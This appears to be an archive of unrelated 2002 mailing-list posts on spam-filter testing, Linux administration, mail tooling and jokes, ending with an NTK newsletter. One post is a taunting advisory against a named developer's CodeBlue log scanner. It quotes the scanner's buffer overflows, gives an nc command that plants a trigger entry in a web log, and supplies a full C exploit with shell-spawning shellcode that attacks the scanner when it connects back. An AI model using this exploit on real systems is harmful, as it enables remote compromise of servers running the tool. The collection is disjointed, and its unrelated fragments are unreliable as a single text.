> comment block also says,
>
> # XXX So, if another way is found to slash the f-n rate, the decision here
> # XXX not to strip HTML from HTML-only msgs should be revisited.
>
> and we've since done several things that gave significant f-n rate
> reductions. I should test that again now.
I did so. Alas, stripping HTML tags from all text still hurts the f-n rate
in my test data:
false positive percentages
0.000 0.000 tied
0.000 0.000 tied
0.050 0.075 lost +50.00%
0.025 0.025 tied
0.075 0.025 won -66.67%
0.000 0.000 tied
0.100 0.100 tied
0.050 0.075 lost +50.00%
0.025 0.025 tied
0.025 0.000 won -100.00%
0.050 0.075 lost +50.00%
0.050 0.050 tied
0.050 0.025 won -50.00%
0.000 0.000 tied
0.000 0.000 tied
0.075 0.075 tied
0.025 0.025 tied
0.000 0.000 tied
0.025 0.025 tied
0.050 0.050 tied
won 3 times
tied 14 times
lost 3 times
total unique fp went from 13 to 11
false negative percentages
0.327 0.400 lost +22.32%
0.400 0.400 tied
0.327 0.473 lost +44.65%
0.691 0.654 won -5.35%
0.545 0.473 won -13.21%
0.291 0.364 lost +25.09%
0.218 0.291 lost +33.49%
0.654 0.654 tied
0.364 0.473 lost +29.95%
0.291 0.327 lost +12.37%
0.327 0.291 won -11.01%
0.691 0.654 won -5.35%
0.582 0.655 lost +12.54%
0.291 0.400 lost +37.46%
0.364 0.436 lost +19.78%
0.436 0.582 lost +33.49%
0.436 0.364 won -16.51%
0.218 0.291 lost +33.49%
0.291 0.400 lost +37.46%
0.254 0.327 lost +28.74%
won 5 times
tied 2 times
lost 13 times
total unique fn went from 106 to 122
Last time I tried this (see tokenizer.py comments), the f-n rate after
stripping tags ranged from 0.982% to 1.781%, with a median of about 1.34%,
so we've made tons of progress on the f-n rate since then. But the mere
presence of HTML tags still remains a significant clue for c.l.py traffic,
so I'm left with the same comment:
> # XXX So, if another way is found to slash the f-n rate, the decision here
> # XXX not to strip HTML from HTML-only msgs should be revisited.
If we want to take the focus of this away from c.l.py traffic, I can't say
what effect HTML stripping would have (I don't have suitable test data to
measure that on).
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At 4:34 PM -0400 on 10/2/02, R. A. Hettinga wrote:
> --- begin forwarded text
>
>
> Status: RO
> Delivered-To: [email protected]
Sigh. Shoot me, now...
My apologies.
Cheers,
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On Tue, 23 Jul 2002, Joseph S. Barrera III wrote:
> BTW, guys, I'm *kidding*! I'm actually in a pretty good mood right now.
> I'm not actually a very hateful person, and I certainly can't think of
> anyone right now I hate, and certainly not anyone on this list!
You cannot fool us. We know you inside out.
P.S. We hate you, too.
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On 2 Sep 2002, RossO wrote:
> John Waylan (who was interviewed in Wired a few years back) pulled out a
> 14.4 second run in the quarter mile (91mph), on a battery pack that
> hasn't been broken in yet. He expects to break his record next year
> topping his 13.1sec/99mph run a couple of years ago. He's shooting for a
> 12 second run.
Battery pack, huh what???
You dont use batteries for a 1/4 mile run, you use capacitors. MANY times
the energy density, and you can get the energy out fast enough. Note that
the battery packs are fully swapped out for recharging after each run
anyway, just like a gas dragster is refueled, so this wouldnt be cheating.
200 MPH should be no problem.
- Adam L. "Duncan" Beberg
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I've found a decrepit raq3 that I'm going to resurrect, as soon as I work
out what's up with the console.
I'm using 115200 8n1 with minicom, and I'm getting wierd stuff like:
S+#_+ű INET __+_:
S+#_+ű Å°_°_ MÄ+Å+ű _+Ä+ °+_<_++_.
S+#_+ű #+__+ S+#_+ű #+Š+ __+_:
IÅ+#+ _+°#+_ °Ä_ +#Å _+ -- NÄ+ _+#_+ű SSL
/+__/_Å/++Ä
S++ű +Ä PÄ_+±_SQL: FATAL: S+_#+S_+_PÄ_+: Å() °#+: A___ #+_#< Å +_
I_ #ÅÄ+_ ÄÄ_++#_+_ #+_#< _+ÅÅű ÄÅ +#+ ÄÄ_+?
I° ÅÄ+, _+Ä+ _Ä++ ÅÄ (/++Ä/._.PGSQL.5583) #Å _+_<.
/+__/Å/ÄÄ_++#_+_: #ÅÅÄ+ _#+ UNIX _+_#+ ÄÄ_+
[616]
S+#_+ű ++Ä S++ű +Ä W S_+:
So it looks like some sort of setting mismatch. Various places on the web
say that cobalts are setup with 115200 8n1 serial ports, but someone could
have changed it on this particular box.
Anyone care to guess what's up ?
John
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"John P. Looney" <[email protected]> a écrit:
> > I'm confused. I thought it was GPL'ed and
> > that the money you paid SuSE was for your
> > 60 day support or whatever?
> The RPMS are. The distribution as a whole work is
> copyright of SuSE.
This IMHO, goes against the spirit of GPL.
Thanks for the info.
Is there any distro (pref. Mandrake or failing
that, Red Hat or other) out there for which people
have disks, are prepared to burn copies and are
allowed give to me for a small fee?
TIA.
Paul...
> Kate
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Turpin:
>>Do we have any statistics on the poor man's divorce from centuries past?
Eugen Leitl:
>That's easy. Divorce didn't happen.
You seem not to know what a "poor man's divorce" is.
It is an old term, from the time when divorce was
difficult, but walking was easy, and identity was
not so locked down as it is today. Not every widow
had a dead husband.
>I'm seeing lack of innovation ..
That doesn't tell us anything except what is
happening in Eugen Leitl's life. The more common
observation is that the rate of change is increasing.
Do you have any data that might persuade us that what
you see is more telling than what others see?
>gerontocracy favors gerontocracy.
I would have thought that gerontocracy favors biotech
research and plenty of young workers to pay taxes.
Note that the fertility rate doesn't result from
decisions made by the old, but by the young. If we
want more kids, we have to convince people who are
in their twenties to become parents.
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On Fri, 20 Sep 2002 10:40:55 +0200
Matthias Saou <[email protected]> wrote:
# But as it's the primary mailer I use, you can be sure that as soon
# as it's updated to 0.8.3, I'll update my build! :-)
It got updated (;
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URL: http://www.newsisfree.com/click/-4,8268032,1717/
Date: 2002-09-26T08:22:37+01:00
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Never having to support a large network myself, I know very little about
this..
but what do lex & yacc have to do with anything ?
These are language parsers, used to build complilers / interptreters and
the like???!!!
BIND, ok large networks might need DNS....
Have I missed something completely?
J
> -----Original Message-----
> From: [email protected] [mailto:[email protected]]On Behalf Of kevin
> lyda
> Sent: Monday, July 22, 2002 3:39 PM
> To: irish linux users group
> Subject: [ILUG] bind + lex + yacc...
>
>
> i recently received this email from a friend of mine in the states:
>
> i'm trying to figure out how to maintain about 200 domains, with a
> hundred or so computers per domain. some internal, some external.
> i recently learned lex and yacc and i'm thinking that's the way to go.
> i don't really know perl and i know it's useful but i think i can
> write c faster then perl.
>
> is this a good idea?
>
> ps we're really busy.
>
> obviously as a stupid developer with no real admin experience to speak
> of, i'm not qualified to answer this question. does anyone with real
> admin experience have any suggestions here? the problem sounds really
> hard, and i doubt anyone has had to deal with this level of complexity
> so there probably aren't any existing tools written.
>
> anyone else have any opinions or experience i could pass on?
>
> kevin
>
> --
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> is no more to
> fork()'ed on 37058400 the point than the fact that a drunken
> man is happier
> meatspace place: home than a sober one. the happiness of
> credulity is a
> http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw
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I have a similar one:
Bubba calls up the DEA and tells em that JoeBob is growing pot and
hiding it in his back yard. They go over, find nothing, and go ask Bubba
what he was talking about. Bubba tells em it's in JoeBob's woodpile. So
they go chop up all the wood and look through it and scatter it all over
the yard, but find nothing. They ask Bubba again, and he tells them that
JoeBob must have already sold it, so they leave. Bubba calls up JoeBob:
Bubba: You get your wood chopped?'
JoeBob: Yep, thanks, I'll give ya 15 bucks tomorrow. (:
sillyhead
On 23 Jul 2002, Gary Lawrence Murphy wrote:
>
> You're in luck because my mom sends these all the time and I never
> have anything else to do with them ...
>
> An old man lived alone in Minnesota. He wanted to spade his potato garden,
> but it was very hard work.
> His only son, who would have helped him, was in Prison. The old man wrote
> a letter to his son and mentioned his predicament.
> Shortly, he received this reply, "For heaven's sake Dad, don't dig up that
> garden, that's where I buried the GUNS!"
> At 4 A.M. the next morning, a dozen police showed up and dug up the old
> man's entire garden, without finding any guns.
> Confused, the old man wrote another note to his son telling him what
> happened, and asking him what to do next.
> His son's reply was: "Now plant your potatoes, Dad. It's the best
> I could do at this time."
>
> but better than that, just settle into this, courtesy of daypop:
> http://xroads.virginia.edu/~UG02/yeung/actioncomics/cover.html
>
>
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Once upon a time, ""Angles" wrote :
> Matthias Saou ([email protected]) wrote*:
> >You're really better off backuping all placed where you know you've hand
> >edited or installed some files. For me that's only /etc/, /root/ and
> >/home/. Then you reinstall cleanly, formating "/", put your /home/ files
> >back into place and you're ready to go.
>
> Matthias I gotta believe you, I've been using your RPMs for some time now
> :) That's the way I'll do it.
I'm no "messiah", just do what you think suits you the best :-)
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On Mon, 7 Oct 2002 [email protected] wrote:
--]I'm truly stuck on this though. I don't know whether to frame the
--]check, burn it, or cash it in.
I framed my 2$ check from mp3.com. Someone bought the Cd I have up there
some years back and it is my real and actual proof in saying I am a paid
musician. Of course I never cashed the check so techinaly I never did get
paid...but thats another matter alltogther.
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>> 3) You can learn to use procmail,
>Can this be done via .forward?
make your .forward contain only the following line:
"|/usr/bin/procmail"
(incl. the quotes, your procmail binary may be in another path)
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On 24 Jul 2002, Karl Anderson wrote:
--]An interesting idea I heard of was to use gene maps & genetic info
--]about animals to guide the breeding process - essentially shortening
--]the iteration time with genetic information, but not touching any
--]genes themselves.
Thats where the gentic Purists bredding program was heading. Hitler wet
himslef when his big brains laid out the plan of forced natural selection,
images of strong young blonde boys marching around him sent him off in a
double nostil coke blow frenzy..
Of course back then they did not have the fine tuned maps we got today.
Macromap wise we got the host of gps angles over head beaming the answeres
in feet to our "where are we now" musings, micromap wise we now have the
ability to spot the "will laugh at the goon shows" switch"
All the early genticpurists had to go on was hkull size, hair color and
schlongalongadingdangage.
AS always the probelm is not that we can do this , its what we do with it.
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When I receive a message that has a line starting with "From ", it's
broken into two messages. I get my mail from /var/spool/mail. The
program that incorporates mail thinks that the "From " line starts a new
message.
My sysadmins have told me that the sending mail client is supposed to
escape lines begining with "From ". EXMH (2.5) doesn't do this. Should
it? It appears that my MH is MH 6.8. Does NMH fix this?
Jason D. M. Rennie
MIT AI Lab
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Hi,
when testing spamassassin, i found a little problem but
I don't know if it's spamassassin or my pop3-server
that caused it.
Pop3-servers seem to expect a blank line before "From "-lines
to seperate mails in a mailbox-file.
Spamassassin does not add such a blank line before
mails delivered directly to mailbox.
Result is that the pop3-server (tested with qpopper4 and
cucipop) delivers some mails glued together.
I think the solution is to write a blank line to the mailbox
befor spamassassin adds the filtered mail.
Please tell me if you're not the right man for this,
if i'm totally wrong or if you're sure, the pop3-server
shouldn't insist on a blank line before "From "-lines.
Thank you.
PS: Mailserver ist postfix-1.1.11
Regards,
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I've got a test set here that's the last 3 and a bit years email to
[email protected] and [email protected] - it's a really ugly set of 20,000+
messages, currently broken into 7,000 spam, 9,000 ham, 9,000 currently
unclassified. These addresses are all over the 70-some different
ekit/ekno/ISIConnect websites, so they get a LOT of spam.
As well as the usual spam, it also has customers complaining about
credit card charges, it has people interested in the service and
asking questions about long distance rates, &c &c &c. Lots and lots
of "commercial" speech, in other words. Stuff that SA gets pretty
badly wrong.
I'm currently mangling it by feeding all parts (text, html, whatever
else :) into the filters, as well as both a selected number of headers
(to, from, content-type, x-mailer), and also a list of
(header,count_of_header). This is showing up some nice stuff - e.g. the
X-uidl that stoopid spammers blindly copy into their messages.
I did have Received in there, but it's out for the moment, as it causes
rates to drop.
I'm also stripping out HTML tags, except for href="" and src="" - there's
so so much goodness in them (note that I'm only keeping the contents of
the attributes).
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TITLE: Potential remote root in CodeBlue log scanner
NAME: DEMI SEX GOD FROM HELL ADV 00001
DATE: YES, PLEASE MAIL ME IF YOU ARE FEMALE (send pictures)
CRAZY TRACKING NUMBER THAT MAKES IT LOOK LIKE I HAVE SOME MASSIVE DATABASE OF
JUAREZ: 7363A64B02
Props to dme@#!
Information
-----------
you may remember me from sweaty nights of passion, or perhaps from yesterday when
i announced the release of a piece of software i wrote (many years ago too
btw).
in general i received no feedback from this, cept from one guy having problems
downloading it (howd that go btw?) and then this:
From: "Michael"
To: "'Demi Sex God from Hell'"
Subject: RE: ass the attack spoofing shell
Annoying. Pointless.
well! how very very rude. that really was uncalled for. (propz to dme yo!).
gay, bi or curious, i went to find out more about mystical michael, who is
obviously very important as he is the only one who felt the need to tell me
they didnt like me. it turns out, hes a bit of programmer, with some code
available on his website (www.tenebrous.com). I got codeblue, (btw mystical
mike your auto-download script for you counter gives me a 500 error), a log
checking utility mystical mike wrote and released under the GNU GPL to make
the world a better place.
If this tool is run as root (say nightly from roots crontab) there is a
potential remote root. in any case, regardless of user, there is
always a remote. if codeblue is locally suid, theres many overflows all
throughout it, easy peasy like the girls in st patricks!!!.
Note st patricks is a great place in sydney, playground of the rich and
famous. visit it if you ever visit sydney, tell them i sent you.
so lets have a walk through the code, and get a feel for mystical mike, the
man behind the mystic. (do you wear a crazy robe with a hood like a monk
mike?)
$ cd codeblue
$ ls
CHANGES COPYING Makefile README codeblue.c
$ head COPYING
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
/* uh-oh */
$ vi codeblue.c
/*
* $Header: /usr/src/Projects/codeblue/codeblue.c,v 1.1 2001/08/02 20:40:01
* root Exp root $
*
******************************************************************************************
* -[ G O D B L E S S A M E R I C A ]-
*
******************************************************************************************
*
* CodeBlue v5.0 by Michael ([email protected])
* This software is freely distributable under the terms of the GNU/GPL.
* Please see file 'COPYING'
/* god bless america, AND mystical mike! */
....
/* line ~273 */
/*
* siginal_init:
* sets up all the signals we'd like
* to handle specially
*/
void signal_init(void)
{
struct sigaction sa_old, sa_new;
/* signal handling */
sa_new.sa_handler = signal_handler;
sigemptyset(&sa_new.sa_mask);
sa_new.sa_flags = 0;
sigaction(SIGINT, &sa_new, &sa_old);
sigaction(SIGPIPE, &sa_new, &sa_old);
}
/* shared signal handler doing all sorts of stuff, not very good mike :( */
/* line ~289 */
/*********************************************************************
* Our close() wrapper
*/
int Close(int sd)
{
return (close(sd));
}
/* that just made me laugh */
/* line ~661 */
char logline[512]; /* logline is global */
int scan_file(FILE * fp)
{
char buffer[1024];
....
fgets(buffer, 1024, fp);
....
if (found_infected == 1) { /* if it picks up a worm entry in the */
/* log this is true */
strcpy(logline, buffer);
/* oh dear */
/* line ~827 */
char reply[512]; /* global */
char whoispath[512] = "/usr/bin/whois"; /* global */
int main(int argc, char **argv)
{
.....
if (argv[i][0] == '-')
switch (argv[i][1]) {
case 'e':{ /* return email address */
if ((!argv[i + 1]) || (argv[i + 1][0] == '-'))
DieWithRequire(argv[i]);
strcpy(reply, argv[i + 1]);
break;
}
case 'p':{ /* path to whois binary */
if ((!argv[i + 1]) || (argv[i + 1][0] == '-'))
DieWithRequire(argv[i]);
strcpy(whoispath, argv[i + 1]);
break;
}
/* whoops! */
Now, all this is good for a laugh, but unless its suid, not much use :(
CodeBlue will scan apache/squid logfiles looking for code red and nimda log
hits. If it finds a hit, it will connect to the source ip adress of the hit
and send an email warning of infection. Unfortunately, mystical mike was too
far up on his high horse to write something decent.
The function that does this is send_email() (line ~552)
It starts off like this:
int send_email(void)
{
int sd;
char *host = malloc(sizeof(char) * 512);
/* .... silly crap using popen and stuff .... */
/* host is the infected host from the logfiles
* this will connect to the host on port 25
*/
if ((sd = smtp_connect(host)) < SUCCESS)
return -1;
/* Step 0 - Get initial server response */
get_smtp_reply(sd);
/* this is the function of interest */
/* line ~345 */
/*********************************************************************
* fetches a reply from the SMTP server
*/
int get_smtp_reply(int sd)
{
char response[1024]; /* this is the remote host's mail server buf */
....
/*
* We'll loop infinately, receiving
* 1 byte at a time until we receive a carriage return
* or line-feed character, signifying the end of the output
*/
/* GEE! THAT SOUNDS LIKE A GOOD IDEA MYSTICAL MIKE#@!#@! */
....
while (TRUE) {
if (select((sd + 1), &rset, NULL, NULL, &tv) < 0) {
if (errno != EINPROGRESS) {
fprintf(stderr, "[ ERROR: select() failed: %s\n",
strerror(errno));
return -1;
}
}
if (recv(sd, (int *) &response[i], 1, RECV_FL) < 0) { /* Hello */
if (errno == EAGAIN) {
if (elapsed >= smtp_timeout) {
fprintf(stderr, "[ ERROR: operation timed out\n");
fprintf(log, "..... ERROR: operation timed out\n");
return -1;
}
elapsed++;
usleep(smtp_timeout * 10000);
continue;
} else {
if (!(flags & FL_BEQUIET))
fprintf(stderr, "[ ERROR: recv() failed: %s\n",
strerror(errno));
fprintf(log, "..... ERROR: recv() failed: %s\n",
strerror(errno));
return -1;
}
}
if ((response[i] == '\n')
|| ((response[i] == '\n') && (response[i + 1] == '\n')))
break;
i++; /* come here often baby? */
}
So slowly but surely, response is overrun, unless it its a newline.
/*
* hi, this is an exploit that doesnt work. it should be enough of a point in
* the right direction though. the overflow is in get_smtp_reply(), codeblue.c
* is pretty damn poor, there are more!!!
*
* being in a funny mood one afternoon, i made some software publicly
* available, the next morning i see this in my mailbox:
*
* ------- begin spouting off ------
* From [email protected] Mon Jul 22 19:50:46 2002
* Return-Path:
* Delivered-To: [email protected]
* Received: (qmail 2711 invoked from network); 22 Jul 2002 19:50:45 -0000
* Received: from mail110.mail.bellsouth.net (HELO imf10bis.bellsouth.net)
* (205.152.58.50)
* by orbital.wiretapped.net with SMTP; 22 Jul 2002 19:50:45 -0000
* Received: from Michaels ([68.16.174.6]) by imf10bis.bellsouth.net
* (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with ESMTP
* id <20020722195143.XJOI21884.imf10bis.bellsouth.net@Michaels>
* for ; Mon, 22 Jul 2002 15:51:43 -0400
* From: "Michael"
* To: "'Demi Sex God from Hell'"
* Subject: RE: ass the attack spoofing shell
* Date: Mon, 22 Jul 2002 15:50:13 -0400
* Message-ID: <000101c231b8$fedc7740$0200a8c0@Michaels>
* MIME-Version: 1.0
* Content-Type: text/plain;
* charset="us-ascii"
* Content-Transfer-Encoding: 7bit
* X-Priority: 3 (Normal)
* X-MSMail-Priority: Normal
* X-Mailer: Microsoft Outlook, Build 10.0.2616
* Importance: Normal
* X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
* In-Reply-To:
* Status: RO
*
* Annoying. Pointless.
*
* ------- end spouting off -------
*
* HOW RUDE!@##@!@#!
*
* so i had a visit to www.tenebrous.com, found some software written by this
* master coder, and here we are now.
*
* To use this against a webserver (A) using codeblue.
*
* $ printf "GET /scripts/root.exe\r\n\r\n" | nc A 80
*
* this will add an entry in the access log.
*
* ON THE SAME HOST:
*
* # ./mystic_anus 25
*
* wait a while.
*
* when codeblue runs it will pull your ip from the logs, connect to your port
* 25 and try to send you a mail. because mystic is an idiot, you will get a
* shell with the openbsd code!!!
*
* i like exclamation marks !!!!
*
* krad haxxor props: dedmunk (happy now#@!!#@) ph1ll1p, caddis, buo, solace,
* everyone on #cw , everyone in paris (you have a lovely city, i had a lovely
* time last weekend, thankyou!!!) dedmunk, everyone at netcraft (esp Mike,
* hi!), everyone in sydney, dedmunk, everyone i go drinking with, anyone who
* lives in london, marlinspike (yo!), the woman who sells me my cigarettes in
* the morning on the way into work, thomas greene, dedmunk, adam, durab, sh00ter.
*
* BIG SHOUT OUT TO TOLIMAN AND ZERO SUM, UNDERSTAND!!
*
* propz to dme#!@#!@
*
* dont forget:
*
* $Header: /usr/src/Projects/codeblue/codeblue.c,v 1.1 2001/08/02 20:40:01 root Exp root $
*
******************************************************************************************
* -[ G O D B L E S S A M E R I C A ]- *
******************************************************************************************
*
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define OF 2048 /* this is bigger than needed */
/* Optimized the code, now it works better in bad situations */
/* i dont know who wrote this, sorry, if you wrote it, let me know */
char lunix_shellcode[]=
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
/*
shell on port 6969/tcp shellcode for OpenBSD by noir
*/
long bsd_shellcode[]=
{
0x4151c931,0x51514151,0x61b0c031,0x078980cd,
0x4f88c931,0x0547c604,0x084f8902,0x0647c766,
0x106a391b,0x5004478d,0x5050078b,0x68b0c031,
0x016a80cd,0x5050078b,0x6ab0c031,0xc93180cd,
0x078b5151,0xc0315050,0x80cd1eb0,0xc9310789,
0x50078b51,0xb0c03150,0x4180cd5a,0x7503f983,
0x5b23ebef,0xc9311f89,0x89074b88,0x8d51044f,
0x078b5007,0xc0315050,0x80cd3bb0,0x5151c931,
0x01b0c031,0xd8e880cd,0x2fffffff,0x2f6e6962,
0x90416873
};
int main(int argc, char *argv[])
{
struct sockaddr_in sock_in;
struct sockaddr_in sock_out;
char *port = "25";
int fd, a;
int len;
int opt;
char bigbuf[OF];
char *p;
long lunix_resp = 0xbfffe0ac;
long bsd_resp = 0xdfbfc068;
char *moo = "220 ";
long resp = lunix_resp;
char *shellcode = lunix_shellcode;
printf("strlen scode = %d\n", strlen(shellcode));
if (argc == 2)
port = argv[1];
if (argc > 2) {
fprintf(stderr, "usege: %s [port]\n", argv[0]);
exit(1);
}
resp += 8;
p = bigbuf;
memcpy(p, moo, 4);
p += 4;
memset(p, '\x90', 1020 - strlen(shellcode));
p += 1020 - strlen(shellcode);
memcpy(p, shellcode, strlen(shellcode));
p += strlen(shellcode);
memcpy(p, &resp, 4);
p += 4;
memcpy(p, &resp, 4);
p += 4;
memset(p, '\n', 4);
if ((fd = socket(PF_INET, SOCK_STREAM, 0)) < 0){
perror("socket");
exit(1);
}
memset(&sock_in, 0, sizeof(sock_in));
sock_in.sin_family = AF_INET;
sock_in.sin_port = htons(atoi(port));
sock_in.sin_addr.s_addr = INADDR_ANY;
len = sizeof(sock_in);
opt = 1;
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(int)) == -1) {
perror("setsockopt");
exit(1);
}
if (bind(fd, (struct sockaddr *)&sock_in, len) < 0) {
perror("bind");
exit(1);
}
if (listen(fd, 5) < 0) {
perror("listen");
exit(1);
}
printf("listening on port %d\n", atoi(port));
for (;;) {
len = sizeof(sock_out);
if ((a = accept(fd, (struct sockaddr *)&sock_out, &len)) < 0){
perror("accept");
exit(1);
}
printf("got a connection from %s\n", inet_ntoa(sock_out.sin_addr));
fflush(stdout);
write(a, bigbuf, sizeof(bigbuf));
close(a);
}
return(1);
}
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On Mon, Aug 12, 2002 at 08:33:26PM -0700, Vipul Ved Prakash wrote:
> On Mon, Aug 12, 2002 at 10:38:44AM -0700, Craig R . Hughes wrote:
>>
>> if(check() == spam) then submit() else revoke()
>>
>> That algorithm boosts trust, but reduces the information in
>> SpamNet by damping.
>
> Again, this is not true. Only certain events (reports/revokes) for a spam
> are rewarded and the algorithm for picking these up is based on many
> different factors.
A lot of the questions/concerns brought up on this list wrt
TeS will be lessened when the source for it is released. Any
guestimate on when that might happen?
-steve
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and endanger lives..."
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>> HARD NEWS <<
life-long pursuits
On July 17th, 2001, DMITRY SKLYAROV, coder for the Russian
software house ELCOMSOFT, was arrested while visiting the
US. His crime: writing code that exposed flaws in Adobe's
e-book security, in contravention of the USA's exciting new
DMCA. In the next year, thanks to widespread protests, Adobe
withdrew their call to prosecute the Russian hacker and
Dmitry was freed. Elcomsoft is still in the dock for
breaching Adobe's copy restriction routines. If the aim of
the prosecution was to cow them into keeping quiet about
security problems, it doesn't appear to have worked. On July
12th, 2002, ELCOMSOFT posted to Bugtraq a flaw in Adobe's
e-book security. Namely, that in Adobe's "lending library"
web app for the Adobe Content Server, you can borrow a book
for over twenty years (instead of three days) just by
changing a hidden Web form value. The library site is just a
demonstration app, so it's not a serious problem, but it
does give Elcomsoft room for a catty little addendum. "Some
time ago", they write "we have found much more serious
problem with another Adobe software and reported it to the
vendor; however, there was no response at all, and so we
decided not to waste our time reporting this one (about the
library) to Adobe". How much reaction do they want?
Salt sown in the soil of Moscow and the Volga canal aflame?
http://lists.insecure.org/bugtraq/2002/Jul/0133.html
- don't plan any trips to Disneyland, Vlad
http://librarydemo.adobe.com/library/
- fixed, it looks, by stubbing out the code
http://lists.insecure.org/bugtraq/2002/Jul/0193.html
- now, for real chutzpah, post a Symantec exploit on the newly 0wn3d BugTraq
We'll tread cautiously with this one, as it involves Vast
Ageless Corporations Who Have Retained Counsel Living Where
Their Glowing Eyesockets Used To Be. Just days before we
read on Slashdot that zombie company FORGENT is demanding
patent license fees for users of JPEG, we're contacted by
someone who has received a similiarly threatening letter -
this time, from the rather more established Lucent
Technologies. The message reads: "After some market research
it has come to our attention that some of your company's
products may employ the JBIG/JPEG Standard. Therefore,
Lucent Technologies GRL LLC, Lucent's licensing agent, is
contacting your company regarding your interest in obtaining
a license for patents." What follows is the usual demand for
fees, dire threats if compliance is thwarted, requests that
the guards seize the criminals and throw them in Patent
Dungeon, etc. Now, Lucent's patents don't seem to be
breached by a JPEG implementaton (although it's known that
JBIG is patent-encumbered; hence JBIG-2). So why does Lucent
bring up JPEG at all? A curious wording for sure, and we'd
be interested to see if anyone else has been contacted in
these terms. Mail us at [email protected] if you have.
http://slashdot.org/article.pl?sid=02/07/18/157217
- best use of porn collection in slashdot post modded funny +5
http://www.ghostscript.com/pipermail/gs-devel/2002-February/001203.html
- JBIG encumbered, JBIG2 no
Oh, is it time again already for Esquire's 50 Sharpest Men
2002? Joy! Hidden among the usual suspects - which include
Richard Dawkins ("scientist"), Kevin Warwick ("scientist"),
Kevin Eldon ("comedian" - and KING OF HOBBIES), is one
Charlie Brooker (listed here as a "TV Go Home"). Merely
appearing in the list seems to have prompted the reclusive,
unsmiling, and often violent comedian to hurredly post a
TVGoHome update from his pile of cardboard boxes near Soho,
which is all to the good. But does he really deserve the title?
What *is* sharpness? "In case your are [sic] in any doubt",
the site explains, "sharpness is, above all, an attitude". Now
the dictionary says it's also "having a bitter taste", and
"harshness of manner", and given that Hank, the Angry
Drunken Dwarf is both unlisted and dead, we think Brooker's
a show-in for the Web protest/mess-with-publisher's-heads
vote. We urge you to vote now, express the will of the
people, and win some vile perfume or a horrible watch.
http://www.esquire.co.uk/esquire50.htm
- warning: torturous and unnecessarilly prolonged web form
http://www.thebee.com/bweb/iinfo106.htm
- Hank: another exciting Net meme you missed because you go out too much
>> ANTI-NEWS <<
berating the obvious
when oh when will the public tire of PUERILE GOOGLE TYPOS?:
http://www.google.com/search?q=overcocking , "addtition",
"t-shits", "eductation", and (via prudish spellcheckers?):
http://www.google.com/search?q=%22public+lice%22 ... don't buy:
http://www.ebuyer.com/customer/products/index.html?product_uid=26497
... bringing a whole new meaning to "colour naming systems":
http://www.ntk.net/2002/07/19/dohhue.gif ... might explain its
bewildered state: http://www.ntk.net/2002/07/19/dohpot.gif ...
http://www.contactnet.ro/solutiixxi/index.php?lim=e vs "On our
children's game-place, they can romp after hug-desire!!":
http://www.tourismus-tirol.com/scharnitz/risserhof/indexe.html
... self-fulfilling: http://www.ntk.net/2002/07/19/dohdig.gif
... and when VIM met the PALM platform, the "Related E-Books"
were MOIDER: http://www.ntk.net/2002/07/19/dohvim.gif ...
>> EVENT QUEUE <<
goto's considered non-harmful
Yes, we have concerns about encountering Slashdot readers "au
naturel" without any kind of intervening moderation system.
And yet, at the same time, we cannot look away. 7pm local
time, Thu 2002-07-25 marks the world's first SLASHDOT MEETUP
EVENT (check local listings for details, free), attracting -
at time of writing - an impressive 91 interested signups for
the London gathering (19 for Manchester, Leeds 17, Glasgow 11,
Birmingham 9, Liverpool 6, and so on). Usual warnings about
meeting your online "friends" are, we imagine, more than
usually applicable here - especially as no-one can work out
what the organisers are getting out of it. Spamming lists?
Kickbacks from the democratically selected venues? Or valuable
demographic info like the fact that "Elijah Wood" is currently
more popular in hobbit-friendly Glasgow than U2, Tori Amos, or
Duran Duran?
http://slashdot.meetup.com/
- #goth girls for bearded sysadmins
http://www.defcon.org/
- plus Defcon in Vegas in two weeks' time
>> TRACKING <<
sufficiently advanced technology : the gathering
Once again that silly 5K Web competition thing gets the
headlines. And once again, we must rub its fatty, fatty chin
against the honed shard of flint that is the 2002 1K
MINIGAME 8-BIT CODING COMPETITION until it's shaved meek.
1024 bytes is all you (must have) wrote: to enter, arrange
them to form a working game on any 8-bit micro you choose.
In response to complaints from last year, "middle class BBC
Micro Fauntleroys" will be permitted, says last year's
judge, Matt Westcott. More weakness is shown by permitting
Atari 2600s, which have 2K cartridges, to enter (you must
fill the last 1K with zeros), and also the TI99/4A which as
everyone knows has sixteen bits. We do hope this doesn't end
in Zork virtual machines or Postscript or something.
http://www.ffd2.com/minigame/
- "The competition will never be 'fair'" - BETTER!
http://entries.the5k.org/946/wolf5k.html
- oh, the decadence
http://www.igf.com/submit.htm
- $20,000 prize money; probably not accepting Oric Forth games this year
>> MEMEPOOL <<
ceci n'est pas une http://www.gagpipe.com/
"Now That's What I Call Copyright Infringement, Vols 1,2,3":
http://pod-135.dolphin-server.co.uk/~boom/thecd/boom.php ...
http://news.bbc.co.uk/hi/english/uk/2131236.stm - a case for:
http://news.bbc.co.uk/hi/english/uk/newsid_1490000/1490957.stm ?
... forget offshore accounting - what's to stop them going back
in time with the proceeds and killing all the investors'
grandfathers?: http://www.timetravelfund.com/ ... telnet
